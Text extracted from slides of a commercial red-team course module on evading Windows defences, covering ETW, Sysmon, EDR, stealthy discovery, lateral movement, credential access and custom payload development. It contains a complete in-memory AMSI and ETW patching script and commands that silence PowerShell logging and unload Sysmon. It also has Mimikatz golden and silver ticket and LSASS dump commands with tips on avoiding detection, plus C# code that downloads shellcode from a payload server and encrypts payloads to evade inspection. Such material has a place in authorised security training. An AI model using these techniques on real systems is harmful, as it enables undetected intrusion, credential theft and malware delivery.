PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.76


1.3 Bring Your Own Interpreter

RunBooAssemblyResolve.cs is a C# code example


embedding a Boolang compiler to execute code resolving
the needed assemblies at runtime.

Similar to the PowerShell code just covered, this can be


used in Csharp payloads to avoid being detected by
defense mechanisms inspecting .NET languages such as
AMSI.
https://github.com/byt3bl33d3r/OffensiveDLR/blob/master/runBooAssemblyResolve.cs PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.77
1.4

Event Tracking for


Windows (ETW)

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.78


1.4 Event Tracing for Windows

Event Tracing for Windows (ETW) is the mechanism used


by Windows in order to trace and log system events.
Although attackers use to clear event logs to cover their
tracks, this action itself generates a new event log. Red
team operators may tamper ETW to cease the flow of
logging temporary or permanently without generating
event log entries in the process.

https://blogs.msdn.microsoft.com/ntdebugging/2009/08/27/part-1-etw-introduction-and-overview/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.79


1.4 Event Tracing for Windows

ETW tampering techniques can be divided into two


categories:
1. Persistent: They usually require a reboot before the
changes takes effect. They still can be reverted, but
they will still require another reboot. Usually persistent
attacks are more straight forward to detect tan
ephemeral attacks.

2. Ephemeral: Tampering can take place without a reboot


involved
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.80
1.4 Event Tracing for Windows
AutoLogger provider removal
Requires admin privileges and involves removing a provider entry from
autologger. This will cause events to stop flowing to their trace
session. For example:

“Remove-EtwTraceProvider -AutologgerName EventLog-Application -


Guid '{A0C1853B-5C40-4B15-8766-3CF1C58F985A}’”

Will end up deleting the registry key


HKLM\System\CurrentControlSet\Control\WMI\Autologger\EventLog-
Application\{a0c1853b-5c40-4b15-8766-3cf1c58f985a} disabling
Microsoft-Windows-PowerShell ETW provider.
https://docs.microsoft.com/en-us/windows/win32/etw/configuring-and-starting-an-autologger-
session PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.81
1.4 Event Tracing for Windows

Provider “Enable” property modification


Requires Admin privileges and a system reboot. Involves
alerting the Enable keyword of an autologger session.

By default ETW provider entries in the EventLog-


Application autoloffer sessions have a value of 0x41, this
is equals to EVENT_ENABLE_PROPERTY_SID and
EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0.
Events generated by a provider are logged even if the
keyword value is set to 0.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.82
1.4 Event Tracing for Windows

If an attacker replaces the property


EVENT_ENABLE_PROPERTY_ENABLE_KEYWORD_0 for
EVENT_ENABLE_PROPERTY_IGNORE_KEYWORD_0, it will result
in events where the keyword is 0 not logged. PowerShell events
supplies a 0 keyword value and as a result they will not appear
in the PowerShell event log. This can be accomplished via:

Set-EtwTraceProvider -Guid '{A0C1853B-5C40-4B15-8766-


3CF1C58F985A}' -AutologgerName 'EventLog-Application' -
Property 0x11
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.83
1.4 Event Tracing for Windows

This will set up the registry key


HKLM\System\CurrentControlSet\Control\WMI\Autologg
er\EventLog-Application\{a0c1853b-5c40-4b15-8766-
3cf1c58f985a}\EnableProperty to 0x11 and PowerShell
commands will not appear in the event log after a reboot.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.84


1.4 Event Tracing for Windows

ETW provider removal from a trace session


This ephemeral method requires SYSTEM privileges.
Although no file, registry or event log artifacts could be
associated with this event.

An ETW provider must be removed from a trace session,


limiting the ability to supply logs until the next reboot or
the attacker restores the provider.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.85
1.4 Event Tracing for Windows

Defenders relying on event logs for threat detection may


be unable to detect this attack, although elevating
privileges to SYSTEM could trigger some alerts.

Disabling PowerShell event logging until the next reboot


can be accomplished via:
”logman update trace EventLog-Application --p Microsoft-
Windows-PowerShell -ets”
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.86
1.4 Event Tracing for Windows

EtwEventWrite Patching
The function from ntdll.dll EtwEventWrite is the one in
charge of writing events to a session. This can be patched
similar to AMSI in the current process to avoid ETW
Detections. This is because ETW events are sent from
userland and in case of a payload they are also issued
from a process under attacker’s control.

https://docs.microsoft.com/en-us/windows/win32/devnotes/etweventwrite PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.87


1.4 Event Tracing for Windows

EtwEventWrite Patching can


be done similar to AMSI
patching, in fact.

In the last example using


Boolang for AMSI patching,
with a small modification it
can be repurposed to patch
EtwEventWriteFunction
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.88
1.4 Event Tracing for Windows

By adding the etw_patch byte array to the code and calling the
PatchMem function with ntdll.dll, EtwEventWrite and the patch
sequence, will result in a complete bypass to ETW logging under the
current process.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.89
1.4 Event Tracing for Windows

function Invoke-EtwAmsiPatch
{
$BooLangDLL = @'<BOOLANG_DLL>'@
$BooLangCompilerDLL = @'<BOOLAND_COMPILER_DLL>'@
$BooLangParserDLL = @'<BOOLAND_PARSER_DLL>'@
$BoolangExtensionsDLL = @'<BOOLANG_EXTENSION_DLL>'@
function Load-Assembly($EncodedCompressedFile)
{
$DeflatedStream =
[IO.Compression.DeflateStream]::new([IO.MemoryStream][Convert]::FromBase64String($EncodedCompressedFile),
[IO.Compression.CompressionMode]::Decompress)
$UncompressedFileBytes = New-Object Byte[](1900000)
$DeflatedStream.Read($UncompressedFileBytes, 0, 1900000) | Out-Null
return [Reflection.Assembly]::Load($UncompressedFileBytes)
}

$BooLangAsm = Load-Assembly($BooLangDLL)
$BooLangExtensionsAsm = Load-Assembly($BoolangExtensionsDLL)
$BooLangCompilerAsm = Load-Assembly($BooLangCompilerDLL)
$BooLangParserAsm = Load-Assembly($BooLangParserDLL)

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.90


1.4 Event Tracing for Windows

$BooSource = @'
import System
import System.Runtime.InteropServices

[DllImport("kernel32.dll", SetLastError: true, CharSet: CharSet.Unicode)]


public static def LoadLibrary(lpFileName as string) as IntPtr:
pass

[DllImport("kernel32.dll", CharSet: CharSet.Ansi, ExactSpelling: true, SetLastError: true)]


public static def GetProcAddress(hModule as IntPtr, procName as string) as IntPtr:
pass

[DllImport("kernel32.dll")]
public static def VirtualProtect(lpAddress as IntPtr, dwSize as int, flNewProtect as uint, ref lpflOldProtect as IntPtr) as
bool:
pass

public static def PatchMem(dll as string, function as string, patch as (byte)):


try:
oldProtect as IntPtr = 0
library = LoadLibrary(dll)
print ""

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.91


1.4 Event Tracing for Windows

print "[>] $(dll) address : $(library)"


address = GetProcAddress(library, function)
print "[-] $(function) address : $(address)"
result = VirtualProtect(address, patch.Length, 0x40, oldProtect)
print "[-] Memory Protection changed to PAGE_EXECUTE_READWRITE"
Marshal.Copy(patch, 0, address, patch.Length)
print "[+] Patched $(dll) : $(function)"
result = VirtualProtect(address, patch.Length, 0x20, oldProtect)
print "[-] Memory Protection Restored to PAGE_EXECUTE_READ"
except:
print "[!] Could not patch $(dll) : $(function)"

public static def Main():


amsi_patch as (byte)
etw_patch as (byte)
if IntPtr.Size == 8:
// 64 Bits process
print "[-] x64 Process"
etw_patch = array(byte, [0x48, 0x33, 0xc0, 0xc3])
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3])

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.92


1.4 Event Tracing for Windows

else:
// 32 Bits process
print "[-] x86 Process"
etw_patch = array(byte, [0x33, 0xc0, 0xc2, 0x14, 0x00])
amsi_patch = array(byte, [0xB8, 0x57, 0x00, 0x07, 0x80, 0xC2, 0x18, 0x00])
PatchMem("nt"+"dll.dll", "Etw" + "Event" + "Write", etw_patch)
PatchMem("am"+"si.dll", "Am"+"si"+"Sc"+"anBu"+"ffer", amsi_patch)
'@
#$scriptinput = New-Object "Boo.Lang.Compiler.IO.StringInput" -ArgumentList "MyScript.boo, $BooSource"
$scriptinput = [Boo.Lang.Compiler.IO.StringInput]::new("MyScript.boo", $BooSource)
#Passing $false to the constructor tells Boo to not automatically reference default assemblies
$parameters = [Boo.Lang.Compiler.CompilerParameters]::new($false)

$parameters.Input.Add($scriptinput) | Out-Null
$parameters.Pipeline = [Boo.Lang.Compiler.Pipelines.CompileToMemory]::new()
$parameters.Ducky = $true # $false increases speed but disables duck typing
#Here we manually add assemblies as references to the compiler that will probably be used 100% of the time within our Boo
code
$parameters.AddAssembly($BooLangAsm)
$parameters.AddAssembly($BooLangExtensionsAsm)
$parameters.AddAssembly($BooLangCompilerAsm)
$parameters.AddAssembly($BooLangParserAsm)

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.93


1.4 Event Tracing for Windows
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("mscorlib"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System"))
$parameters.AddAssembly([Reflection.Assembly]::LoadWithPartialName("System.Core"))

#Write-Output $parameters.References

$compiler = [Boo.Lang.Compiler.BooCompiler]::new($parameters)

Write-Output "[+] Compiling..."


$context = $compiler.Run()

if ($context.GeneratedAssembly -ne $null)


{
Write-Output "[+] Executing..."
$scriptModule = $context.GeneratedAssembly.GetType("MyScriptModule")
$mainfunction= $scriptModule.GetMethod("Main")
$mainfunction.Invoke($null, $null)
}
else {
Write-Output "`nError(s) when compiling Boo source!`n"
Write-Output $context.Errors.ToString($true)
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.94


1.4 Event Tracing for Windows

COMPLUS_ETWEnabled
ETW can be disabled without patching the usermode
function EtwEventWrite by just setting and environment
variable of COMPlus_ETWEnabled=0.

https://blog.xpnsec.com/hiding-your-dotnet-complus-etwenabled/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.95


1.4 Event Tracing for Windows

By using Sysinternal's Process


explorer, the differences
between launching a
PowerShell process without
setting the
COMPlus_ETWEnabled variable
to 0 can be observed.

On the first one, all the .NET


assemblies are shown while on
the second one there is no
information about loaded
assemblies in memory.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.96
1.5

SYSMON

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.97


1.5 SYSMON

SYSMON
System Monitor (Sysmon) is a Windows system service and
device driver that logs detailed system activity such as
process creations, network connections and changes to a
file creation time into the Windows event log.

It helps defenders to identify malicious or anomalous


activity giving visibility over attackers operations.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.98
1.5 SYSMON

Some sysmon capabilities are:


• Log process creation with full command line from
current and parent process.
• Hash process image files using SHA1 by default.
• Include process and session GUID for ease of
correlation.
• Logs loading and unloading drivers.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.99


1.5 SYSMON

Some sysmon capabilities are (cont.):


• Logs raw read access of disks and volumes.
• Log network connections, not by default.
• Detect changes in file timestamps.
• Rule filtering.
• Generates events from the boot process to capture
activity by sophisticated kernel-mode malware.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.100


1.5 SYSMON

From an attackers perspective it is crucial to disable


sysmon if this one is running into the target system.

This can be done via two different ways from an


administrator console:
• Using Fltmc.exe Control Program
• Using sshmon

https://docs.microsoft.com/en-us/windows-hardware/drivers/ifs/development-and-testing-tools
https://github.com/matterpreter/Shhmon PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.101
1.5 SYSMON

Flmtc can load, list, and unload


filter drivers.

This can be used to unload the


Sysmon Driver and disable all its
logging capabilities except from
networking ones.
# List
PS > fltmc.exe
# Disable SysmonDrv
PS > fltmc.exe unload SysmonDrv

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.102


1.5 SYSMON

Sysmon driver can be renamed during installation. However as we can


observe in the previous screenshot it is always loaded at altitude 385201.

Sshmon enumerates and disables Sysmon driver by:


• Enumerate the drivers via FilterFindFirst and FilterFindNext to avoid
crawling the registry
• When it finds the Sysmon driver, it used OpenProcessToken and
AdjustTokenPrivileges to grant itself SeLoadDriverPrivilege
• If the driver is not found using the previous technique it will look into
HKLM\SYSTEM\CurrentControlSet\Services looking for a "Sysmon
Instance"
• If the driver is located and it can get the required privilege it will use
FilterUnload to unload the SysmonDriver.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.103
1.5 SYSMON

Using the shhmon kill switch


with sshmon successfully
disables the Sysmon Driver.

# List
PS > sshmon.exe hunt
# Disable SysmonDrv
PS > sshmon.exe kill

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.104


1.6

Endpoint Detection
and Response (EDR)

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.105


1.6 Endpoint Detection and Response
Microsoft ATP and ATA
Next generation defense mechanisms such as Microsoft
Defender Advanced Threat Protection are designed to help
preventing, detecting, investigating and responding to
security incidents.

Microsoft Defender ATP uses a combination of


technologies to help in these tasks, those are:
• Endpoint behavioral sensors: collect and process
behavioral signals from the operating system
https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-
atp/microsoft-defender-advanced-threat-protection PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.106
1.6 Endpoint Detection and Response

• Cloud Security Analytics: Uses big-data and machine-


learning to detect and recommend responses to
advanced threats.

• Threat Intelligence: Helps identifying attacker'sTactics


Techniques and Procedures (TTPs) by using collected
data from previous attacks.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.107


1.6 Endpoint Detection and Response
Microsoft Advanced Threat Analytics is able to inspect multiple
protocols such as Kerberos, DNS, RPC, NTLM, etc. for
authentication, authorization and information gathering.

This helps defenders to identify suspicious activities on the


following Cyber Kill Chain phases:
• Reconnaissance: Where attackers are gathering information
about the environment.
• Lateral Movement: Where attackers are jumping through
different systems to reach their objectives
• Domain Dominance: Where attackers capture information and
achieve persistence to resume their campaign.
https://docs.microsoft.com/en-us/advanced-threat-analytics/what-is-ata PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.108
1.6 Endpoint Detection and Response

API Hooking
Next-Gen Antivirus use API hooking to monitor processes
for malicious behavior. This is achieved by overwriting the
first bytes of the target function to hijack the execution
flow. Usually JMP or CALL instructions are inserted to
transfer the execution to the new code (AV code) for
performing the new functionality (checks) and depending
on the result it may return to the original function or stop its
execution.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.109
1.6 Endpoint Detection and Response

These hooks are usually implemented in User-Mode instead


of Kernel-Mode, monitoring specific API Calls commonly
used by malware such as, OpenProcess, VirtualAlloc,
WriteProcessMemory, CreateThread, etc. for malicious
process injection.

However, User-Mode hooks can be removed by an attacker


as we will see later in this course.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.110
1.7

Discovery

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.111


1.7 Discovery

Host Reconnaissance
Issuing host-recon
commands that are in Mitre’s
ATT&CK or similar knowledge
bases could trigger alerts in
defense systems if they are
chained almost immediately
due to behavior analysis
capabilities.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.112
1.7 Discovery
Windows Management Interface queries are not
usually flagged, and logging is disabled by default.

As an alternate and stealthy way of enumerating


hosts, wmic can be used via the following
commands:
wmic process list brief
wmic group list brief
wmic computersystem list
wmic process list /format:list
wmic computersystem list
wmic useraccount list /format:list
wmic group list /format:list
wmic sysaccount list /format:list
wmic /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *
Get-WmiObject -Class Win32_UserAccount -Filter "LocalAccount='True'"

https://docs.microsoft.com/en-us/windows/win32/wmisdk/using-wmi
https://docs.microsoft.com/en-us/windows/win32/wmisdk/wmic PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.113
1.7 Discovery
If the user has access to a remote computer, wmic can also be used to
enumerate remote hosts before jumping into them.

This can be done adding to the command /NODE:"<SERVER_NAME>".


enumerating under other user context can be done adding
/USER:"<DOMAIN>\<USER>" /PASSWORD:"<PASSWORD>"

wmic /NODE:"ELS-DC01" /Namespace:\\root\SecurityCenter2 Path AntiVirusProduct Get *

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.114


1.7 Discovery
Network Reconnaissance
LDAP can be used to gather information about Computers/Users
reducing the likelihood of being detected as this is quite normal traffic
and flagging this would lead to a high number of false positives.

PowerView, PywerView or BloodHound (Use –ExcludeDc Flag) can be


used to perform Network Reconnaissance using LDAP queries.

https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1
https://github.com/the-useless-one/pywerview PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.115
https://github.com/BloodHoundAD/BloodHound
1.7 Discovery
WMIC can also be used to
gather information about Users
and Domains.

Using PowerShell beware that


Get-WMIObject cmdlets are
PSv2+ where Get-CimInstance
are PSv3+.

Alternatively, wmic can be also


used.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.116
1.7 Discovery

# Enumerate Groups
PS > Get-CimInstance –ClassName Win32_Group -Filter "DOMAIN =
'<DOMAIN>'"
# Enumerate User Accounts
PS > Get-WMIObject –Class Win32_UserAccount -Filter "DOMAIN =
'<DOMAIN>'"
# Domain Group User Memberships
Get-CimInstance -ClassName Win32_Group -Filter "Domain = <DOMAIN>'
AND Name='<GROUP_NAME>'"

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.117


1.7 Discovery

Some useful wmic queries that can be used for Network


enumeration are:

# DC and Domain Info


wmic NTDOMAIN GET DomainControllerAddress,DomainName,Roles /VALUE
# List Users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname
# List Groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname
# List Domain Admins
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where
"ds_samaccountname='Domain Admins'" Get ds_member /Value

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.118


1.7 Discovery

# Enumerate members from a group


wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where
"ds_samaccountname='<GROUP_NAME>'" Get ds_member /Value
# List Computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.119


1.7 Discovery

BloodHound ingestors can be used


in a stealthy way to collect specific
information about the Domain.

Avoid contacting the domain


controllers, try to collect only
specific information for the current
attack and do not save the cache file
on disk.

# Do not contact DCs and use stealth collection methods


PS > SharpHound.exe --excludedomaincontrollers --stealth --nosavecache
# Do not contact DCs and collect only ACL information
PS > Sharphound.exe --excludedomaincontrollers –c acl --nosavecache

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.120


1.8

Lateral Movement

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.121


1.8 Lateral Movement

Lateral Movement
Performing PSExec or WMIexec against a Domain
Controller is usually detected. Any other lateral movement
technique could be flagged as an abnormal user behavior
depending on the computer it is performed from. For
example, performing lateral movement using help desk
users, jumpboxes or IT Staff computers is usually
stealthier. Hijacking existing RDP connections or inspecting
network sessions usually flies under the radar.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.122
1.8 Lateral Movement

Over-Pass-The-Hash
Using NTLM hashes to request Kerberos tickets is flagged
as encryption downgrade or unusual protocol
implementation by defense solutions.

This happens because when NTLM hashes are provided to


request a Kerberos ticket, the selected encryption type will
be RC4 due the lack of AES Keys, contrary to a legitimate
request.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.123
1.8 Lateral Movement

Golden Tickets
To generate Kerberos Tickets
that will not be flagged by
defense systems, adjust the
lifetime of the ticket to a normal
value, usually 600 minutes, and
provide all the keys.

Mimikatz # kerberos::golden
/user:<USER> /domain:<DOMAIN>
/sid:<SID> /aes256:<AES_KEY>
/endin:600 /renewmax:300 /ptt

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.124


1.8 Lateral Movement
Silver Tickets
Instead of using kerberoasted account
credentials to login into servers. Silver
Tickets can be created to avoid revealing
the account was compromised. This
happens because by using Silver Tickets
the authentication request would never
reach the Domain Controller and the
related event logs are only present on the
targeted server.

Mimikatz # kerberos::golden /user:<USER>


/domain:<DOMAIN> /sid:<SID>
/aes256:<AES_KEY> /endin:600
/renewmax:300 /service:<SERVICE>
/target:<TARGET_COMPUTER> /ptt

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.125


1.9

Credential Access

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.126


1.9 Credential Access
Kerberoasting
Domain users can enumerate
service accounts SPNs and
requests Kerberos TGS
Tickets to perform
Kerberoasting or targeted
Kerberoasting.

This will be hard to detect as


its blends as regular AD
traffic.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.127
1.9 Credential Access

Extracting Hashes
Performing DCSync operations from remote computers
will be easily flagged as Malicious replication of directory
services as this is a pretty abnormal behavior in a
production environment.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.128


1.9 Credential Access

Dumpert can safely dump LSASS


memory using direct system calls
and API unhooking.

The dump file can then be


transferred locally and Mimikatz can
be used to gather credentials.
# Remote Computer
PS > .\Outflank-Dumper.exe
# Local Computer
Mimikatz# sekurlsa::minidump <PATH_TO_DUMP>
Mimikatz# sekurlsa::logonpasswords

https://github.com/outflanknl/Dumpert PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.129


1.10

Sensitive Groups

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.130


1.10 Sensitive Groups
Sensitive Groups
Some groups and its members are considered sensitive by some
some defense solutions like Microsoft ATA. Modifying these
groups or resetting passwords from its members will likely be
flagged as an abnormal activity. These groups are:
• Account Operators Domain Controllers • Print Operators
• Administrators • Group Policy Creator • Read Only Domain
• Backup Operators Owners Controllers
• DNS Admins • Incoming Forest Trust • Remote Desktop Users
• Domain Admins Builders (for DCs)
• Domain Controllers • Network Configuration • Replicators
Operators • Schema Admins
• Enterprise Admins • Power Users
• Enterprise Read Only • Server Operators

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.131


1.10 Sensitive Groups

However, most of the environments mature enough to


monitor modification of Sensitive Groups follows
Microsoft best practice guidance on delegating
permissions.

As a result there must be more privileged groups than the


ones considered sensitive that can be targeted without
alerting the defense team, for example Help Desk or SQL
Admins.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.132
1.11

Custom Payload
Development

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.133


1.11 Custom Payload Development

Default payloads from common Command and Control


Frameworks are easily picked up by EDR solutions.

It is necessary to customize those payloads in order to


achieve a stealthier execution and evade defense
mechanisms in place.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.134


1.11 Custom Payload Development

This section will guide the students on how to develop C#


tradecraft in order to download and execute shellcode in
memory evading common defense mechanisms.

Visual Studio must be installed on a Windows machine in


order to complete the exercises, alternatively Mono
Compiler can be used in to compile some code in non
Windows machines. However, it is recommended to use
Visual Studio and .NET 3.5 whereas possible.
https://docs.microsoft.com/en-us/dotnet/csharp/ https://visualstudio.microsoft.com/downloads/ PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.135
https://www.mono-project.com/docs/about-mono/languages/csharp/
1.11 Custom Payload Development

While working with initial examples, it is recommended to


disable Microsoft Defender in the target machine until AMSI
bypasses are implemented. Always disable Automatic
Sample Submission option

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.136


1.11 Custom Payload Development
Downloader
The first requirement is to be able to
download the shellcode from the payload’s
server.

The ”downloader” function(lines 7-20) will


connect to the “shellcode_url”, download
its contents and return a byte array. A
custom User-Agent or headers can be
used here in order to differentiate requests
coming from the payloads and the ones
coming from other sources.

The “Main” function(lines 22-28) will


receive the “shellcode_url” as its first
argument, call the “downloader” function
and print the length of the downloaded
shellcode
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.137
1.11 Custom Payload Development
Code:

using System;
using System.IO;
using System.Net;
using System.Security.Cryptography.X509Certificates;

class Program
{
public static byte[] downloader(string shellcode_url)
{
// Downloads data from an url and return its content
WebClient wc = new WebClient();
wc.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64)
AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36");
ServicePointManager.Expect100Continue = true;
ServicePointManager.SecurityProtocol = SecurityProtocolType.Tls12;

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.138


1.11 Custom Payload Development

// Ignore Certificate Check, remove on production!


// https://stackoverflow.com/questions/12506575/how-to-ignore-the-certificate-check-
when-ssl
ServicePointManager.ServerCertificateValidationCallback = delegate { return true; };
// End of ignore Certificate Check
byte[] shellcode = wc.DownloadData(shellcode_url);
return shellcode;
}

public static void Main(string[] args)


{
string url = args[0];
byte[] shellcode = downloader(url);
Console.WriteLine("[+] {0} Bytes Downloaded", shellcode.Length);
}
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.139


1.11 Custom Payload Development

Compile and test the code via


the following commands:

# Compile the code via


PS > C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 1_downloader.cs
# Test
PS > 1_downloader.exe <SHELLCODE_URL>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.140


1.11 Custom Payload Development

With the downloader function, downloading a shellcode


from the payload’s server in memory can be achieved with
a lot of flexibility on how to customize the request.

It is recommended to read WebClient’s documentation to


learn about its functionality and how to personalize
different aspects in order to blend with normal traffic.

https://docs.microsoft.com/en-us/dotnet/api/system.net.webclient?view=netframework-4.8 PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.141


1.11 Custom Payload Development

Payload Encryption.
Downloading the shellcode over SSL it is not enough to evade
some enterprise defense solutions as they perform Deep Packet
Inspection of SSL traffic (DPI-SSL). This means the traffic is
transparently decrypted, scanned for threats and then re-
encrypted to its destination if no malicious content is detected.

These solutions can be evaded adding encryption to the


shellcode and decrypting it once it is in memory.

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.142


1.11 Custom Payload Development

The first step will be to encrypt the


payloads with the following
functions.

“AES_Encrypt” function (Lines 9-32)


receives 2 bytes arrays, the first one
are the contents from to be
encrypted and the second one will
be the password bytes. This
function will return the encrypted
contents using AES
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.143
1.11 Custom Payload Development

The next step is to create the


reverse function, AES_Decrypt from
lines 33 to 56 this function will be
mainly the same as the
AES_Encrypt function with the main
difference on line 47, where the
CryptoStream is created using
AES.CreateDecryptor().

The function will return the


decrypted contents in a byte array.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.144
1.11 Custom Payload Development

Then the PrintShellcode function will be created from lines 57 – 74. This
function will accept an array of bytes and print them in a format we can copy
and paste into our C# code for future use.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.145
1.11 Custom Payload Development

Our Main function will be on lines 75 to 92. It will check for an argument passed to the
program and this will be the shellcode file in binary format. It will pass the contents of the
file to the AES_Encrypt function to be encrypted with the password "Sup3rS3cr3t!", write
the encrypted contents in a file with the same name as the input file but adding "_enc" at
the end and print the encrypted contents on the screen.
PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.146
1.11 Custom Payload Development

# Compile the code via


PS > C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe 2_aes_encryption.cs
# Test
PS > 2_aes_encryption.exe <SHELLCODE>
# On non windows machines with mono installed this can be done via
~ csc 2_aes_encryption.cs
~ mono 2_aes_encryption.exe <SHELLCODE>

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.147


1.11 Custom Payload Development
Code:
//Taken from https://www.codeproject.com/Articles/769741/Csharp-AES-bits-Encryption-Library-with-Salt
using System.Security.Cryptography;
using System.IO;
using System.Text;
using System;

public class Encrypt


{
public static byte[] AES_Encrypt(byte[] bytesToBeEncrypted, byte[] passwordBytes)
{
byte[] encryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.148


1.11 Custom Payload Development

AES.Key = key.GetBytes(AES.KeySize / 8);


AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateEncryptor(),
CryptoStreamMode.Write))
{
cs.Write(bytesToBeEncrypted, 0, bytesToBeEncrypted.Length);
cs.Close();
}
encryptedBytes = ms.ToArray();
}
}
return encryptedBytes;
}

PTXv2: Section 4, Module 1 - Caendra Inc. © 2020 | p.149


1.11 Custom Payload Development
public static byte[] AES_Decrypt(byte[] bytesToBeDecrypted, byte[] passwordBytes)
{
byte[] decryptedBytes = null;
byte[] saltBytes = new byte[] { 1, 2, 3, 4, 5, 6, 7, 8 };
using (MemoryStream ms = new MemoryStream())
{
using (RijndaelManaged AES = new RijndaelManaged())
{
AES.KeySize = 256;
AES.BlockSize = 128;
var key = new Rfc2898DeriveBytes(passwordBytes, saltBytes, 1000);
AES.Key = key.GetBytes(AES.KeySize / 8);
AES.IV = key.GetBytes(AES.BlockSize / 8);
AES.Mode = CipherMode.CBC;
using (var cs = new CryptoStream(ms, AES.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytesToBeDecrypted, 0, bytesToBeDecrypted.Length);
cs.Close();
}
decryptedBytes = ms.ToArray();
}
}
return decryptedBytes;
}

